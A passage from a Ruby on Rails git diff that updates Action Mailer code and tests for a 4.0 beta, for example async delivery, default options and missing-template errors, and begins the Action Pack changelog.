         self.default_params = default_params.merge(value).freeze if value
         default_params
       end
+      # Allows to set defaults through app configuration:
+      #
+      #    config.action_mailer.default_options = { from: "no-reply@example.org" }
+      alias :default_options= :default
 
       # Receives a raw email, parses it into an email object, decodes it,
       # instantiates a new mailer, and passes the email object to the mailer
@@ -410,7 +455,7 @@ module ActionMailer #:nodoc:
       # and passing a Mail::Message will do nothing except tell the logger you sent the email.
       def deliver_mail(mail) #:nodoc:
         ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
-          self.set_payload_for_mail(payload, mail)
+          set_payload_for_mail(payload, mail)
           yield # Let Mail do the delivery actions
         end
       end
@@ -419,6 +464,19 @@ module ActionMailer #:nodoc:
         super || action_methods.include?(method.to_s)
       end
 
+      # Will force ActionMailer to push new messages to the queue defined
+      # in the ActionMailer class when set to true.
+      #
+      #   class WelcomeMailer < ActionMailer::Base
+      #     self.async = true
+      #   end
+      def async=(truth)
+        if truth
+          require 'action_mailer/async'
+          extend ActionMailer::Async
+        end
+      end
+
     protected
 
       def set_payload_for_mail(payload, mail) #:nodoc:
@@ -460,7 +518,7 @@ module ActionMailer #:nodoc:
       self.class.mailer_name
     end
 
-    # Allows you to pass random and unusual headers to the new +Mail::Message+ object
+    # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt> object
     # which will add them to itself.
     #
     #   headers['X-Special-Domain-Specific-Header'] = "SecretValue"
@@ -471,7 +529,7 @@ module ActionMailer #:nodoc:
     #   headers 'X-Special-Domain-Specific-Header' => "SecretValue",
     #           'In-Reply-To' => incoming.message_id
     #
-    # The resulting Mail::Message will have the following in it's header:
+    # The resulting Mail::Message will have the following in its header:
     #
     #   X-Special-Domain-Specific-Header: SecretValue
     def headers(args=nil)
@@ -571,8 +629,10 @@ module ActionMailer #:nodoc:
     #     end
     #   end
     #
-    # Will look for all templates at "app/views/notifier" with name "welcome". However, those
-    # can be customized:
+    # Will look for all templates at "app/views/notifier" with name "welcome".
+    # If no welcome template exists, it will raise an ActionView::MissingTemplate error.
+    #
+    # However, those can be customized:
     #
     #   mail(:template_path => 'notifications', :template_name => 'another')
     #
@@ -603,9 +663,6 @@ module ActionMailer #:nodoc:
     #   end
     #
     def mail(headers={}, &block)
-      # Guard flag to prevent both the old and the new API from firing
-      # Should be removed when old API is removed
-      @mail_was_called = true
       m = @_message
 
       # At the beginning, do not consider class default for parts order neither content_type
@@ -613,8 +670,9 @@ module ActionMailer #:nodoc:
       parts_order  = headers[:parts_order]
 
       # Call all the procs (if any)
-      default_values = self.class.default.merge(self.class.default) do |k,v|
-        v.respond_to?(:call) ? v.bind(self).call : v
+      class_default = self.class.default
+      default_values = class_default.merge(class_default) do |k,v|
+        v.respond_to?(:to_proc) ? instance_eval(&v) : v
       end
 
       # Handle defaults
@@ -668,11 +726,11 @@ module ActionMailer #:nodoc:
       end
     end
 
-    # Translates the +subject+ using Rails I18n class under <tt>[:actionmailer, mailer_scope, action_name]</tt> scope.
+    # Translates the +subject+ using Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
     # If it does not find a translation for the +subject+ under the specified scope it will default to a
     # humanized version of the <tt>action_name</tt>.
     def default_i18n_subject #:nodoc:
-      mailer_scope = self.class.mailer_name.gsub('/', '.')
+      mailer_scope = self.class.mailer_name.tr('/', '.')
       I18n.t(:subject, :scope => [mailer_scope, action_name], :default => action_name.humanize)
     end
 
@@ -707,8 +765,12 @@ module ActionMailer #:nodoc:
     end
 
     def each_template(paths, name, &block) #:nodoc:
-      templates = lookup_context.find_all(name, Array.wrap(paths))
-      templates.uniq_by { |t| t.formats }.each(&block)
+      templates = lookup_context.find_all(name, Array(paths))
+      if templates.empty?
+        raise ActionView::MissingTemplate.new([paths], name, [paths], false, 'mailer')
+      else
+        templates.uniq { |t| t.formats }.each(&block)
+      end
     end
 
     def create_parts_from_responses(m, responses) #:nodoc:
@@ -733,4 +795,3 @@ module ActionMailer #:nodoc:
     ActiveSupport.run_load_hooks(:action_mailer, self)
   end
 end
-
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
index d03e085e83..b8d1db9558 100644
--- a/actionmailer/lib/action_mailer/collector.rb
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -15,16 +15,16 @@ module ActionMailer #:nodoc:
 
     def any(*args, &block)
       options = args.extract_options!
-      raise "You have to supply at least one format" if args.empty?
+      raise ArgumentError, "You have to supply at least one format" if args.empty?
       args.each { |type| send(type, options.dup, &block) }
     end
     alias :all :any
 
     def custom(mime, options={})
       options.reverse_merge!(:content_type => mime.to_s)
-      @context.freeze_formats([mime.to_sym])
+      @context.formats = [mime.to_sym]
       options[:body] = block_given? ? yield : @default_render.call
       @responses << options
     end
   end
-end
\ No newline at end of file
+end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index d1467fb526..3b38dbccc7 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -65,7 +65,7 @@ module ActionMailer
         when NilClass
           raise "Delivery method cannot be nil"
         when Symbol
-          if klass = delivery_methods[method.to_sym]
+          if klass = delivery_methods[method]
             mail.delivery_method(klass, send(:"#{method}_settings"))
           else
             raise "Invalid delivery method #{method.inspect}"
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index 7ba57b19e0..a6c163832e 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -1,9 +1,7 @@
-require 'active_support/core_ext/array/wrap'
-
 module ActionMailer
   class LogSubscriber < ActiveSupport::LogSubscriber
     def deliver(event)
-      recipients = Array.wrap(event.payload[:to]).join(', ')
+      recipients = Array(event.payload[:to]).join(', ')
       info("\nSent mail to #{recipients} (%1.fms)" % event.duration)
       debug(event.payload[:mail])
     end
@@ -19,4 +17,4 @@ module ActionMailer
   end
 end
 
-ActionMailer::LogSubscriber.attach_to :action_mailer
\ No newline at end of file
+ActionMailer::LogSubscriber.attach_to :action_mailer
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index 6f22adc479..2036883b22 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -1,11 +1,10 @@
 module ActionMailer
   module MailHelper
-    # Uses Text::Format to take the text and format it, indented two spaces for
-    # each line, and wrapped at 72 columns.
+    # Take the text and format it, indented two spaces for each line, and wrapped at 72 columns.
     def block_format(text)
-      formatted = text.split(/\n\r\n/).collect { |paragraph|
+      formatted = text.split(/\n\r?\n/).collect { |paragraph|
         format_paragraph(paragraph)
-      }.join("\n")
+      }.join("\n\n")
 
       # Make list points stand on their own line
       formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| "  #{$1} #{$2.strip}\n" }
@@ -41,7 +40,7 @@ module ActionMailer
       sentences = [[]]
 
       text.split.each do |word|
-        if (sentences.last + [word]).join(' ').length > len
+        if sentences.first.present? && (sentences.last + [word]).join(' ').length > len
           sentences << [word]
         else
           sentences.last << word
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 444754d0e9..8679096735 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -5,6 +5,7 @@ require "abstract_controller/railties/routes_helpers"
 module ActionMailer
   class Railtie < Rails::Railtie
     config.action_mailer = ActiveSupport::OrderedOptions.new
+    config.eager_load_namespaces << ActionMailer
 
     initializer "action_mailer.logger" do
       ActiveSupport.on_load(:action_mailer) { self.logger ||= Rails.logger }
@@ -19,8 +20,9 @@ module ActionMailer
       options.stylesheets_dir ||= paths["public/stylesheets"].first
 
       # make sure readers methods get compiled
-      options.asset_path      ||= app.config.asset_path
-      options.asset_host      ||= app.config.asset_host
+      options.asset_path          ||= app.config.asset_path
+      options.asset_host          ||= app.config.asset_host
+      options.relative_url_root   ||= app.config.relative_url_root
 
       ActiveSupport.on_load(:action_mailer) do
         include AbstractController::UrlFor
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
index c4de029694..108969ed4c 100644
--- a/actionmailer/lib/action_mailer/test_case.rb
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute'
+require 'active_support/test_case'
 
 module ActionMailer
   class NonInferrableMailerError < ::StandardError
@@ -15,6 +15,12 @@ module ActionMailer
 
       include TestHelper
 
+      included do
+        class_attribute :_mailer_class
+        setup :initialize_test_deliveries
+        setup :set_expected_mail
+      end
+
       module ClassMethods
         def tests(mailer)
           case mailer
@@ -42,8 +48,6 @@ module ActionMailer
         end
       end
 
-      module InstanceMethods
-
       protected
 
         def initialize_test_deliveries
@@ -71,16 +75,8 @@ module ActionMailer
         def read_fixture(action)
           IO.readlines(File.join(Rails.root, 'test', 'fixtures', self.class.mailer_class.name.underscore, action))
         end
-      end
-
-      included do
-        class_attribute :_mailer_class
-        setup :initialize_test_deliveries
-        setup :set_expected_mail
-      end
     end
 
     include Behavior
-
   end
 end
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
index 5beab87ad2..7204822395 100644
--- a/actionmailer/lib/action_mailer/test_helper.rb
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -1,7 +1,5 @@
 module ActionMailer
   module TestHelper
-    extend ActiveSupport::Concern
-
     # Asserts that the number of emails sent matches the given number.
     #
     #   def test_emails
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index b74ba3cb0d..0cb5dc6d64 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,7 +1,7 @@
 module ActionMailer
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
index 448ddbd5df..9f1d6b182e 100644
--- a/actionmailer/lib/rails/generators/mailer/USAGE
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -1,6 +1,6 @@
 Description:
 ============
-    Stubs out a new mailer and its views. Pass the mailer name, either
+    Stubs out a new mailer and its views. Passes the mailer name, either
     CamelCased or under_scored, and an optional list of emails as arguments.
 
     This generates a mailer class in app/mailers and invokes your template
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
index aaa1f79732..edcfb4233d 100644
--- a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
@@ -1,17 +1,17 @@
 <% module_namespacing do -%>
 class <%= class_name %> < ActionMailer::Base
-  default <%= key_value :from, '"from@example.com"' %>
+  default from: "from@example.com"
 <% actions.each do |action| -%>
 
   # Subject can be set in your I18n file at config/locales/en.yml
   # with the following lookup:
   #
-  #   en.<%= file_path.gsub("/",".") %>.<%= action %>.subject
+  #   en.<%= file_path.tr("/",".") %>.<%= action %>.subject
   #
   def <%= action %>
     @greeting = "Hi"
 
-    mail <%= key_value :to, '"to@example.org"' %>
+    mail to: "to@example.org"
   end
 <% end -%>
 end
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 0b076e1ff9..99c44179fd 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -1,32 +1,14 @@
-# Pathname has a warning, so require it first while silencing
-# warnings to shut it up.
-#
-# Also, in 1.9, Bundler creates warnings due to overriding
-# Rubygems methods
-begin
-  old, $VERBOSE = $VERBOSE, nil
-  require 'pathname'
-  require File.expand_path('../../../load_paths', __FILE__)
-ensure
-  $VERBOSE = old
-end
-
+require File.expand_path('../../../load_paths', __FILE__)
 require 'active_support/core_ext/kernel/reporting'
 
-require 'active_support/core_ext/string/encoding'
-if "ruby".encoding_aware?
-  # These are the normal settings that will be set up by Railties
-  # TODO: Have these tests support other combinations of these values
-  silence_warnings do
-    Encoding.default_internal = "UTF-8"
-    Encoding.default_external = "UTF-8"
-  end
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+  Encoding.default_internal = "UTF-8"
+  Encoding.default_external = "UTF-8"
 end
 
-lib = File.expand_path("#{File.dirname(__FILE__)}/../lib")
-$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib)
-
-require 'test/unit'
+require 'minitest/autorun'
 require 'action_mailer'
 require 'action_mailer/test_case'
 
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
index b24eca5fbb..696a9f1174 100644
--- a/actionmailer/test/asset_host_test.rb
+++ b/actionmailer/test/asset_host_test.rb
@@ -9,7 +9,7 @@ class AssetHostMailer < ActionMailer::Base
   end
 end
 
-class AssetHostTest < Test::Unit::TestCase
+class AssetHostTest < ActiveSupport::TestCase
   def setup
     set_delivery_method :test
     ActionMailer::Base.perform_deliveries = true
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index 9fdd0e1ced..4ed332d13d 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -1,10 +1,14 @@
 # encoding: utf-8
 require 'abstract_unit'
+require 'set'
+
 require 'active_support/time'
 
 require 'mailers/base_mailer'
 require 'mailers/proc_mailer'
 require 'mailers/asset_mailer'
+require 'mailers/async_mailer'
+require 'rails/queueing'
 
 class BaseTest < ActiveSupport::TestCase
   def teardown
@@ -107,7 +111,7 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal(1, email.attachments.length)
     assert_equal('invoice.jpg', email.attachments[0].filename)
     expected = "\312\213\254\232)b"
-    expected.force_encoding(Encoding::BINARY) if '1.9'.respond_to?(:force_encoding)
+    expected.force_encoding(Encoding::BINARY)
     assert_equal expected, email.attachments['invoice.jpg'].decoded
   end
 
@@ -116,7 +120,7 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal(1, email.attachments.length)
     assert_equal('invoice.jpg', email.attachments[0].filename)
     expected = "\312\213\254\232)b"
-    expected.force_encoding(Encoding::BINARY) if '1.9'.respond_to?(:force_encoding)
+    expected.force_encoding(Encoding::BINARY)
     assert_equal expected, email.attachments['invoice.jpg'].decoded
   end
 
@@ -417,6 +421,26 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal(1, BaseMailer.deliveries.length)
   end
 
+  def stub_queue(klass, queue)
+    Class.new(klass) {
+      extend Module.new {
+        define_method :queue do
+          queue
+        end
+      }
+    }
+  end
+
+  test "delivering message asynchronously" do
+    testing_queue = Rails::Queueing::TestQueue.new
+    AsyncMailer.delivery_method = :test
+    AsyncMailer.deliveries.clear
+    stub_queue(AsyncMailer, testing_queue).welcome.deliver
+    assert_equal(0, AsyncMailer.deliveries.length)
+    testing_queue.drain
+    assert_equal(1, AsyncMailer.deliveries.length)
+  end
+
   test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do
     mail = Mail::Message.new
     mail.expects(:do_delivery).once
@@ -431,6 +455,14 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
   end
 
+  test "should raise if missing template in implicit render" do
+    BaseMailer.deliveries.clear
+    assert_raises ActionView::MissingTemplate do
+      BaseMailer.implicit_different_template('missing_template').deliver
+    end
+    assert_equal(0, BaseMailer.deliveries.length)
+  end
+
   test "you can specify a different template for explicit render" do
     mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver
     assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
@@ -550,6 +582,52 @@ class BaseTest < ActiveSupport::TestCase
     assert_equal("Thanks for signing up this afternoon", mail.subject)
   end
 
+  test "modifying the mail message with a before_filter" do
+    class BeforeFilterMailer < ActionMailer::Base
+      before_filter :add_special_header!
+
+      def welcome ; mail ; end
+
+      private
+      def add_special_header!
+        headers('X-Special-Header' => 'Wow, so special')
+      end
+    end
+
+    assert_equal('Wow, so special', BeforeFilterMailer.welcome['X-Special-Header'].to_s)
+  end
+
+  test "modifying the mail message with an after_filter" do
+    class AfterFilterMailer < ActionMailer::Base
+      after_filter :add_special_header!
+
+      def welcome ; mail ; end
+
+      private
+      def add_special_header!
+        headers('X-Special-Header' => 'Testing')
+      end
+    end
+
+    assert_equal('Testing', AfterFilterMailer.welcome['X-Special-Header'].to_s)
+  end
+
+  test "adding an inline attachment using a before_filter" do
+    class DefaultInlineAttachmentMailer < ActionMailer::Base
+      before_filter :add_inline_attachment!
+
+      def welcome ; mail ; end
+
+      private
+      def add_inline_attachment!
+        attachments.inline["footer.jpg"] = 'hey there'
+      end
+    end
+
+    mail = DefaultInlineAttachmentMailer.welcome
+    assert_equal('image/jpeg; filename=footer.jpg', mail.attachments.inline.first['Content-Type'].to_s)
+  end
+
   test "action methods should be refreshed after defining new method" do
     class FooMailer < ActionMailer::Base
       # this triggers action_methods
@@ -559,7 +637,33 @@ class BaseTest < ActiveSupport::TestCase
       end
     end
 
-    assert_equal ["notify"], FooMailer.action_methods
+    assert_equal Set.new(["notify"]), FooMailer.action_methods
+  end
+
+  test "mailer can be anonymous" do
+    mailer = Class.new(ActionMailer::Base) do
+      def welcome
+        mail
+      end
+    end
+
+    assert_equal "anonymous", mailer.mailer_name
+
+    assert_equal "Welcome", mailer.welcome.subject
+    assert_equal "Anonymous mailer body", mailer.welcome.body.encoded.strip
+  end
+
+  test "default_from can be set" do
+    class DefaultFromMailer < ActionMailer::Base
+      default :to => 'system@test.lindsaar.net'
+      self.default_options = {from: "robert.pankowecki@gmail.com"}
+
+      def welcome
+        mail(subject: "subject", body: "hello world")
+      end
+    end
+
+    assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
   end
 
   protected
diff --git a/actionmailer/test/fixtures/anonymous/welcome.erb b/actionmailer/test/fixtures/anonymous/welcome.erb
new file mode 100644
index 0000000000..8361da62c4
--- /dev/null
+++ b/actionmailer/test/fixtures/anonymous/welcome.erb
@@ -0,0 +1 @@
+Anonymous mailer body
diff --git a/actionmailer/test/fixtures/async_mailer/welcome.erb b/actionmailer/test/fixtures/async_mailer/welcome.erb
new file mode 100644
index 0000000000..01f3f00c63
--- /dev/null
+++ b/actionmailer/test/fixtures/async_mailer/welcome.erb
@@ -0,0 +1 @@
+Welcome
\ No newline at end of file
diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/dir/xmlhr.js b/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/javascripts/dir/xmlhr.js
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_hash.html.erb
diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/extra.js b/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/javascripts/extra.js
+++ b/actionmailer/test/fixtures/base_mailer/attachment_with_hash_default_encoding.html.erb
diff --git a/actionpack/test/fixtures/sprockets/app/javascripts/xmlhr.js b/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/javascripts/xmlhr.js
+++ b/actionmailer/test/fixtures/base_mailer/welcome_with_headers.html.erb
diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/dir/style.css b/actionmailer/test/fixtures/base_test/after_filter_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/stylesheets/dir/style.css
+++ b/actionmailer/test/fixtures/base_test/after_filter_mailer/welcome.html.erb
diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/extra.css b/actionmailer/test/fixtures/base_test/before_filter_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/stylesheets/extra.css
+++ b/actionmailer/test/fixtures/base_test/before_filter_mailer/welcome.html.erb
diff --git a/actionpack/test/fixtures/sprockets/app/stylesheets/style.css b/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/sprockets/app/stylesheets/style.css
+++ b/actionmailer/test/fixtures/base_test/default_inline_attachment_mailer/welcome.html.erb
diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/app/mailers/.gitkeep
+++ b/actionmailer/test/fixtures/mail_delivery_test/delivery_mailer/welcome.html.erb
diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/actionmailer/test/fixtures/proc_mailer/welcome.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/railties/guides/code/getting_started/app/models/.gitkeep
+++ b/actionmailer/test/fixtures/proc_mailer/welcome.html.erb
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index 7040ae6f8d..68ed86e0d4 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -24,7 +24,7 @@ end
 class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
   Routes = ActionDispatch::Routing::RouteSet.new
   Routes.draw do
-    match ':controller(/:action(/:id))'
+    get ':controller(/:action(/:id))'
   end
 
   def app
diff --git a/actionmailer/test/mail_helper_test.rb b/actionmailer/test/mail_helper_test.rb
index 17e9c82045..d8a73e6c46 100644
--- a/actionmailer/test/mail_helper_test.rb
+++ b/actionmailer/test/mail_helper_test.rb
@@ -22,6 +22,14 @@ class HelperMailer < ActionMailer::Base
     end
   end
 
+  def use_format_paragraph_with_long_first_word
+    @text = "Antidisestablishmentarianism is very long."
+
+    mail_with_defaults do |format|
+      format.html { render(:inline => "<%= format_paragraph @text, 10, 1 %>") }
+    end
+  end
+
   def use_mailer
     mail_with_defaults do |format|
       format.html { render(:inline => "<%= mailer.message.subject %>") }
@@ -34,6 +42,23 @@ class HelperMailer < ActionMailer::Base
     end
   end
 
+  def use_block_format
+    @text = <<-TEXT
+This is the
+first     paragraph.
+
+The second
+   paragraph.
+
+* item1 * item2
+  * item3
+    TEXT
+
+    mail_with_defaults do |format|
+      format.html { render(:inline => "<%= block_format @text %>") }
+    end
+  end
+
   protected
 
   def mail_with_defaults(&block)
@@ -63,5 +88,24 @@ class MailerHelperTest < ActionMailer::TestCase
     mail = HelperMailer.use_format_paragraph
     assert_match " But soft! What\r\n light through\r\n yonder window\r\n breaks?", mail.body.encoded
   end
+
+  def test_use_format_paragraph_with_long_first_word
+    mail = HelperMailer.use_format_paragraph_with_long_first_word
+    assert_equal " Antidisestablishmentarianism\r\n is very\r\n long.", mail.body.encoded
+  end
+
+  def test_use_block_format
+    mail = HelperMailer.use_block_format
+    expected = <<-TEXT
+  This is the first paragraph.
+
+  The second paragraph.
+
+  * item1
+  * item2
+  * item3
+    TEXT
+    assert_equal expected.gsub("\n", "\r\n"), mail.body.encoded
+  end
 end
 
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
index def8da81b8..71e93c29f1 100644
--- a/actionmailer/test/mail_layout_test.rb
+++ b/actionmailer/test/mail_layout_test.rb
@@ -43,7 +43,7 @@ class ExplicitLayoutMailer < ActionMailer::Base
   end
 end
 
-class LayoutMailerTest < Test::Unit::TestCase
+class LayoutMailerTest < ActiveSupport::TestCase
   def setup
     set_delivery_method :test
     ActionMailer::Base.perform_deliveries = true
diff --git a/actionmailer/test/mailers/async_mailer.rb b/actionmailer/test/mailers/async_mailer.rb
new file mode 100644
index 0000000000..ce601e7343
--- /dev/null
+++ b/actionmailer/test/mailers/async_mailer.rb
@@ -0,0 +1,3 @@
+class AsyncMailer < BaseMailer
+  self.async = true
+end
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
index 0536e83098..2ea1723434 100644
--- a/actionmailer/test/url_test.rb
+++ b/actionmailer/test/url_test.rb
@@ -57,8 +57,8 @@ class ActionMailerUrlTest < ActionMailer::TestCase
     UrlTestMailer.delivery_method = :test
 
     AppRoutes.draw do
-      match ':controller(/:action(/:id))'
-      match '/welcome' => "foo#bar", :as => "welcome"
+      get ':controller(/:action(/:id))'
+      get '/welcome' => "foo#bar", :as => "welcome"
     end
 
     expected = new_mail
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index 74711c0320..1445cf43f6 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,4 +1,621 @@
-## Rails 3.2.0 (unreleased) ##
+## Rails 4.0.0 (unreleased) ##
+
+*   Fix select_tag when option_tags is nil.
+    Fixes #7404.
+
+    *Sandeep Ravichandran*
+
+*   Add Request#formats=(extensions) that lets you set multiple formats directly in a prioritized order *DHH*
+
+    Example of using this for custom iphone views with an HTML fallback:
+
+        class ApplicationController < ActionController::Base
+          before_filter :adjust_format_for_iphone_with_html_fallback
+
+          private
+            def adjust_format_for_iphone_with_html_fallback
+              request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
+            end
+        end
+
+
+*   Add Routing Concerns to declare common routes that can be reused inside
+    others resources and routes.
+
+    Code before:
+
+        resources :messages do
+          resources :comments
+        end
+
+        resources :posts do
+          resources :comments
+          resources :images, only: :index
+        end
+
+    Code after:
+
+        concern :commentable do
+          resources :comments
+        end
+
+        concern :image_attachable do
+          resources :images, only: :index
+        end
+
+        resources :messages, concerns: :commentable
+
+        resources :posts, concerns: [:commentable, :image_attachable]
+
+    *DHH + Rafael Mendonça França*
+
+*   Add start_hour and end_hour options to the select_hour helper. *Evan Tann*
+
+*   Raises an ArgumentError when the first argument in `form_for` contain `nil`
+    or is empty.
+
+    *Richard Schneeman*
+
+*   Add 'X-Frame-Options' => 'SAMEORIGIN'
+    'X-XSS-Protection' => '1; mode=block' and
+    'X-Content-Type-Options' => 'nosniff'
+    as default headers.
+
+    *Egor Homakov*
+
+*   Allow data attributes to be set as a first-level option for form_for, so you can write `form_for @record, data: { behavior: 'autosave' }` instead of `form_for @record, html: { data: { behavior: 'autosave' } }` *DHH*
+
+*   Deprecate `button_to_function` and `link_to_function` helpers.
+
+    We recommend the use of Unobtrusive JavaScript instead. For example:
+
+        link_to "Greeting", "#", :class => "nav_link"
+
+        $(function() {
+          $('.nav_link').click(function() {
+            // Some complex code
+
+            return false;
+          });
+        });
+
+    or
+
+        link_to "Greeting", '#', onclick: "alert('Hello world!'); return false", class: "nav_link"
+
+    for simple cases.
+
+    *Rafael Mendonça França*
+
+*   `javascript_include_tag :all` will now not include `application.js` if the file does not exists. *Prem Sichanugrist*
+
+*   Send an empty response body when call `head` with status between 100 and 199, 204, 205 or 304.
+
+    *Armand du Plessis*
+
+*   Fixed issue with where Digest authentication would not work behind a proxy. *Arthur Smith*
+
+*   Added ActionController::Live.  Mix it in to your controller and you can
+    stream data to the client live.  For example:
+
+        class FooController < ActionController::Base
+          include ActionController::Live
+
+          def index
+            100.times {
+              # Client will see this as it's written
+              response.stream.write "hello world\n"
+              sleep 1
+            }
+            response.stream.close
+          end
+        end
+
+*   Remove ActionDispatch::Head middleware in favor of Rack::Head. *Santiago Pastorino*
+
+*   Deprecate `:confirm` in favor of `:data => { :confirm => "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
+
+    *Carlos Galdino + Rafael Mendonça França*
+
+*   Show routes in exception page while debugging a `RoutingError` in development. *Richard Schneeman and Mattt Thompson*
+
+*   Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
+
+        class ApplicationController
+          add_flash_types :error, :warning
+        end
+
+    If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, :error => 'message'` in a controller.
+
+    *kennyj*
+
+*   Remove Active Model dependency from Action Pack. *Guillermo Iguaran*
+
+*   Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+
+        get Rack::Utils.escape('こんにちは') => 'home#index'
+
+    You just have to write the unicode route:
+
+        get 'こんにちは' => 'home#index'
+
+    *kennyj*
+
+*   Return proper format on exceptions. *Santiago Pastorino*
+
+*   Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. *Piotr Sarnacki*
+
+*   Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. *Piotr Sarnacki*
+
+*   Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl`  into `ActionController::ForceSSL#force_ssl_redirect`
+
+    *Jeremy Friesen*
+
+*   Make possible to use a block in button_to helper if button text is hard
+    to fit into the name parameter, e.g.:
+
+        <%= button_to [:make_happy, @user] do %>
+          Make happy <strong><%= @user.name %></strong>
+        <% end %>
+        # => "<form method="post" action="/users/1/make_happy" class="button_to">
+        #      <div>
+        #        <button type="submit">
+        #          Make happy <strong>Name</strong>
+        #        </button>
+        #      </div>
+        #    </form>"
+
+    *Sergey Nartimov*
+
+*   change a way of ordering helpers from several directories. Previously,
+    when loading helpers from multiple paths, all of the helpers files were
+    gathered into one array an then they were sorted. Helpers from different
+    directories should not be mixed before loading them to make loading more
+    predictable. The most common use case for such behavior is loading helpers
